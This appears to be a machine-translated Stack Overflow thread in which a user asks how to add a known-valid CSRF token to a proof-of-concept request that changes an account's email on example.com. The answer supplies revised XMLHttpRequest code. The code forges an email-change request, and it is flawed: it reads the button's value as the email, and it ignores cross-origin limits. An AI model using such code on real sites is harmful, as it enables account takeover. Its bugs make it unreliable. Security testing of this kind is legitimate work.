将HTTP Post请求发送到具有指定CSRF令牌的服务器

时间:2017-07-02 14:18:14

标签: javascript html ajax token csrf

解释

我正在尝试创建CSRF POC,但问题是www.example.com上需要CSRF令牌以防止CSRF攻击。 幸运的是,我设法创建了一个始终有效的CSRF令牌;让我们说“abcdef”。所以现在我可以创建一个工作的CSRF POC,只要我能用它发送CSRF-Token。 例如AJAX可以实现吗?我搜索了半个小时但却找不到任何答案,但我想这就是我。

这是我的POC直到现在:

 <form action="http://www.example.com/change-mail" method="post">
        <input type="submit">
        <input type="hidden" name="email" value="newemail@gmail.com">
        <!-- TODO: Send the CSRF-Token "abcdef" with it too! -->
    </form>

非常感谢帮助。

编辑@Daniël

这样的事情会起作用吗?

HTML部分:

 <!DOCTYPE html>
 <html>
<head>
    <script type="text/javascript" src="test.js"></script>       
</head>
<body>
<b>Email</b><br><br>
    <form id="email">
        <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label>
        <input type="text" id="email" />
        <br><br>
        <input type="button" id="email" value="email"/>
    </form>
   </body>
</html>

Javascript PART:

    <script>
window.addEventListener('DOMContentLoaded', function() {
var email  = document.querySelector('input#email');


 email.addEventListener('click', function() {
    var emailStr = email.value, 
        url="http://www.example.com/change-mail";
    if (window.XMLHttpRequest) {
        xmlHttpReq = new XMLHttpRequest();
    }
    else if (window.ActiveXObject) {
        xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlHttpReq.open('POST', url, true);
    xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlHttpReq.setRequestHeader('X-CSRF-Token', abcdef);
    xmlHttpReq.send("email="+emailStr);
    </script>

在此先感谢,我是否也必须处理回复? 现在,当我点击电子邮件按钮时,当我记录HTTP请求时没有任何反应......太糟糕了。

1 个答案:

答案 0 :(得分:0)

您当前的代码存在许多问题,我已在下面进行了更正。

    window.addEventListener('DOMContentLoaded', function() {
    var email  = document.querySelector('input#submit');
 
    email.addEventListener('click', function() {
      var emailStr = email.value, 
      url="http://www.example.com/change-mail";
      if (window.XMLHttpRequest) {
        xmlHttpReq = new XMLHttpRequest();
      }
      else if (window.ActiveXObject) {
        xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
      }
      xmlHttpReq.open('POST', url, true);
      xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      xmlHttpReq.setRequestHeader('X-CSRF-Token', 'abcdef');
      xmlHttpReq.send("email="+emailStr);
    });
  });
<!DOCTYPE html>
<html>
  <body>
    <b>Email</b><br><br>
    <form id="emailform">
      <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label>
      <input type="text" id="email" />
      <br><br>
      <input type="button" id="submit" value="email"/>
    </form>
  </body>
</html>

原始回答: 您可以向XMLHttpRequest(ajax)调用添加标头:

xhr.setRequestHeader('X-CSRF-Token', csrf_token);